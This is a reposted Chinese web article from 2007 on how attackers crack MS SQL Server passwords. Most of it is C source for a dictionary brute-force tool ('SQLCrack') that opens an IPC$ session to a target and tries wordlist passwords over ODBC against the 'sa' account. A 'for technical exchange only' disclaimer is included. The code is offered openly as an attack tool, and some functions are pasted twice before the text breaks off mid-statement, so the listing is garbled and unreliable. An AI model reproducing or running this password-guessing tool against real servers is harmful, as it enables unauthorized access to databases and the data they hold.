栏目分类
系统安全 | 服务器安全 | 网络安全 | 木马病毒 | 漏洞补丁 | 防火墙 | 系统安全 | 备份恢复 | 安全策略
系统优化 | 提速 | 优化性能 | 服务 | 清理垃圾
网络技巧 | 网络命令 | 网络技巧 | 网络访问 | 共享 | 网络管理
服务器技术 | Exchange | FTP服务器 | ISAServer | 域服务器 | Web服务器 | SQLServer | 其他服务器
系统技巧 | 系统管理 | 系统技巧 | 注册表 | 进程
windows新手入门 | 系统基础 | 网络基础 | 安装 | 技术前沿
系统故障 | 网络故障 | 开关机故障 | 系统故障 | 软件故障 | 当机故障
资讯动态
排行榜
·如何修复SQLSERVER数据库"置疑"问题
·SQLServer2000企业版安装教程(一)
·SQLServer2000企业版安装教程(二)
·Delphi与SQLServer存储过程编程详解
·SQLServer的数据类型介绍
·SQLServer2000企业版安装教程(三)
·SQLServerM复制和远程数据访问对比
·SQLServer扩展存储过程实现远程备份与恢复
·如何将DBF数据库转换成SQLServer表
·黑客是如何破解MSSQLSERCVER密码的
·PL/SQL开发中动态SQL的使用方法
·SQLServer2000中的触发器使用
·SQLServer的用户权限管理
·全面接触SQL语法(3)
·全面接触SQL语法(4)
·SQLServer索引结构及其使用(四)
·SQLServer索引结构及其使用(二)
·SQLServer2000汉字数据简繁转换实例
·SQLServer索引结构及其使用(一)
·简单查询和联合查询两方面介绍SQL查询语句

    您现在的位置: Linux宝库 >> Windows >> 服务器技术 >> SQLServer >> 文章正文
黑客是如何破解MSSQLSERCVER密码的
Linux宝库 收集整理  作者:Linux宝库  时间:2007-12-31  收藏本站
来自:http://doc.linuxpk.com/34144.html
联系:linuxmine#gmail.com
分类:[SQLServer]

  此程序只作技术交流之用,如用于不法用途,作者不负任何责任!!

  这篇文章的重点是如何探测MS SQL SERVER账号的密码,下面以一个实例来说明探测密码的全过程。

  //程序所用到的头文件

  //定义全局变量

  char dict[20000][40],//准备探测的密码

  UserName[40],//用户名

  target[40],//目标服务器

  passwd[40];//已经探测出来的正确密码

  int total=0;//字典里面单词数量

  BOOL Cracked=FALSE;//探测密码成功时此值为TRUE

  //

  //函数:usage

  //功能:显示程序帮助信息

  //

  void usage()

  {

  printf("

  Power by analyzer〈inmiao@163.com〉"

  "

  http://www.infocn.com"

  "

  Usage:SQLCrack 〈ip〉 〈UserName〉 〈dict〉 〈SleepTime[20-1000]〉"

  "

  Example:SQLCrack 192.168.0.1 sa c:\pwd.dic 50

  ");

  return;

  }

  //

  //函数:ReadDic

  //功能:从字典文件里面读取数据,传递给全局变量dict,准备探测密码

  //说明:函数运行失败返回值1,成功返回0

  //

  int ReadDic(char *dic)

  {

  FILE *fp;

  char tmp[40];

  //打开字典文件

  if((fp=fopen(dic,"r"))==NULL)

  {

  printf("

  Can't open %s",dic);

  return 1;

  }

  while(!feof(fp))

  {

  //读取数据到临时变量

  if(fgets(tmp,40,fp)==NULL)

  break;

  //这里别忘了把从文件里面读出来的最后一位数据[换行符号]去掉,不然就探测不出来密码了

  strncpy(dict[total],tmp,strlen(tmp)-1);

  total++;

  //因为dict定义为dict[20000][40],所以这里如果字典里面的单词超出20000就退出循环

  //不然就会溢出啦.可以自行调准

  if(total〉=20000)

  break;

  }

  fclose(fp);

  return 0;

  }

  //

  //函数:ConnIPC

  //功能:建立IPC连接

  //说明:连接失败返回值1,成功返回值0

  //

  int ConnIPC(char *RemoteName)

  {

  NETRESOURCE nr;

  DWORD flags=CONNECT_UPDATE_PROFILE;

  TCHAR RN[30]="\\",

  LN[5]="";

  strcat(RN,RemoteName);

  strcat(RN,"\ipc$");

  //填充数据结构

  nr.dwType=RESOURCETYPE_DISK;

  nr.lpLocalName=(LPTSTR)&LN;

  nr.lpRemoteName=(LPTSTR)&RN;

  nr.lpProvider=NULL;

  if(WNetAddConnection2(&nr,(LPSTR)"",(LPSTR)"",flags)==NO_ERROR)

  {

  return 0;

  }

  else

  {

  return 1;

  }

  }

  //

  //函数:DelIPC

  //功能:断开IPC Session

  //说明:成功返回值0,否则返回1

  //

  int DelIPC(char *RemoteName)

  {

  DWORD ret;

  TCHAR lpName[30]="\\";

  strcat(lpName,RemoteName);

  strcat(lpName,"\ipc$");

  ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,TRUE);

  if(ret==NO_ERROR)

  {

  return 0;

  }

  else

  {

  return 1;

  }

  }

  //

  //函数SQLCheck

  //功能:尝试用不同密码连接SQL Server,探测出正确的密码

  //

  DWORD WINAPI SQLCheck(PVOID pPwd)

  {

  //定义局部变量

  char szBuffer[1025];

  char *pwd;

  SWORD swStrLen;

  SQLHDBC hdbc;

  SQLHANDLE henv;

  SQLRETURN retcode;//ODBC API运行返回值

  SCHAR ConnStr[200];//连接数据库字符串

  //取得传递过来准备探测的密码

  pwd=(char *)pPwd;

  //构造连接数据库字符

  strcpy(ConnStr,"DRIVER={SQL Server};SERVER=");

  strcat(ConnStr,target);

  strcat(ConnStr,";UID=");

  strcat(ConnStr,UserName);

  strcat(ConnStr,";PWD=");

  strcat(ConnStr,pwd);

  strcat(ConnStr,";DATABASE=master");

  //puts(ConnStr);

  //创建数据库应用的环境句柄

  if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=SQL_SUCCESS)

  {

  printf("

  Allocate environment handle failed.

  ");

  return 0;

  }

  //printf("henv..");

  //设置ODBC版本环境

  if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)

  SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)

  {

  printf("

  Set the ODBC version environment attribute failed.

  ");

  SQLFreeHandle(SQL_HANDLE_ENV, henv);

  return 0;

  }

  //printf("ODBC ver..");

  //创建连接句柄

  if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR

  *)&hdbc)) != SQL_SUCCESS)

  {

  printf("

  Allocate connection handle failed.

  ");

  SQLFreeHandle(SQL_HANDLE_ENV, henv);

  return 0;

  }

  //printf("hdbc..");

  //连接数据源

  retcode= SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr),

  szBuffer,sizeof(szBuffer),&swStrLen,

  SQL_DRIVER_COMPLETE_REQUIRED);

  //printf("conn..");

  if(retcode!=SQL_SUCCESS && retcode != SQL_SUCCESS_WITH_INFO)

  {

  //连接失败,函数终止

  //printf("

  Couldn't connect to %s MSSQL server.

  ",target);

  SQLFreeHandle(SQL_HANDLE_DBC, hdbc);

  SQLFreeHandle(SQL_HANDLE_ENV, henv);

  return 0;

  }

  //连接远程MSSQL Server数据库成功

  Cracked=TRUE;

  strcpy(passwd,pwd);

  //puts(szBuffer);

  //显示连接远程数据库的字符串

  //断开连接

  SQLDisconnect(hdbc);

  //printf("disconn..");

  //释放连接句柄

  SQLFreeHandle(SQL_HANDLE_DBC, hdbc);

  //printf("free hdbc..");

  //释放环境句柄

  SQLFreeHandle(SQL_HANDLE_ENV, henv);

  //printf("free henv..

  ");

  return 0;

  }

  //

  //函数:DelIPC

  //功能:断开IPC Session

  //说明:成功返回值0,否则返回1

  //

  int DelIPC(char *RemoteName)

  {

  DWORD ret;

  TCHAR lpName[30]="\\";

  strcat(lpName,RemoteName);

  strcat(lpName,"\ipc$");

  ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,TRUE);

  if(ret==NO_ERROR)

  {

  return 0;

  }

  else

  {

  return 1;

  }

  }

  //

  //函数SQLCheck

  //功能:尝试用不同密码连接SQL Server,探测出正确的密码

  //

  DWORD WINAPI SQLCheck(PVOID pPwd)

  {

  //定义局部变量

  char szBuffer[1025];

  char *pwd;

  SWORD swStrLen;

  SQLHDBC hdbc;

  SQLHANDLE henv;

  SQLRETURN retcode;//ODBC API运行返回值

  SCHAR ConnStr[200];//连接数据库字符串

  //取得传递过来准备探测的密码

  pwd=(char *)pPwd;

  //构造连接数据库字符

  strcpy(ConnStr,"DRIVER={SQL Server};SERVER=");

  strcat(ConnStr,target);

  strcat(ConnStr,";UID=");

  strcat(ConnStr,UserName);

  strcat(ConnStr,";PWD=");

  strcat(ConnStr,pwd);

  strcat(ConnStr,";DATABASE=master");

  //puts(ConnStr);

  //创建数据库应用的环境句柄

  if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=SQL_SUCCESS)

  {

  printf("

  Allocate environment handle failed.

  ");

  return 0;

  }

  //printf("henv..");

  //设置ODBC版本环境

  if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)

  SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)

  {

  printf("

  Set the ODBC version environment attribute failed.

  ");

  SQLFreeHandle(SQL_HANDLE_ENV, henv);

  return 0;

  }

  //printf("ODBC ver..");

  //创建连接句柄

  if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR

  *)&hdbc)) != SQL_SUCCESS)

  {

  printf("

  Allocate connection handle failed.

  ");

  SQLFreeHandle(SQL_HANDLE_ENV, henv);

  return 0;

  }

  //printf("hdbc..");

  //连接数据源

  retcode= SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr),

  szBuffer,sizeof(szBuffer),&

  

   本文来自:http://doc.linuxpk.com/34144.html
发表您的高见!

·上一篇:
列出SQLSERVER数据库中所有表及字段信息
·下一篇:MicrosoftSQLServer7.0数据库创建与管理
 
     最新更新
·榨干MSSQLServer最后一滴血
·SQLINJECTION的SQLServer安全设置
·SQLServer数据库的查询优化及分页算法(1)
·SQLServer数据库的查询优化及分页算法(2)
·SQLServer数据库的查询优化及分页算法(3)
·SQLServer2000中生成XML的小技巧
·保护SQLServer:为安全性而安装
·SQLServer2000数据库文件损坏时如何恢复
·SQLServer数据仓库的构建与分析
·SQL的三个主要语句及一点技巧
·SQLServer连接中三个最常见错误原因分析
·SQLServer.net和OLEDB.net连接数据库比较
·SQLService2000的全文搜索的整理
·SQLServer2005中的分区表和索引(1)
·SQLServer2005中的分区表和索引(2)
·SQLServer2005中的分区表和索引(3)
·SQL中两台服务器间使用连接服务器
·SQLServer2000数据库置疑的解决方法
·小技巧:解密SQL2000的存储过程
·SQLServer数据库的备份与恢复
·SQLServer数据库的备份与恢复
·PL/SQL中的多进程通信技术简介
·有孔就入SQLInjection的深入探讨
·SQL高手篇:精妙SQL语句说明介绍
·一个SqlServer数据恢复实例案例
·从MDF文件恢复SqlServer2000数据库
·SQLServer2000之日志传送功能(1)
·SQLServer2000之日志传送功能(2)
·SQLServer2000之日志传送功能(3)
·MSSQLServer2k数据转换服务部署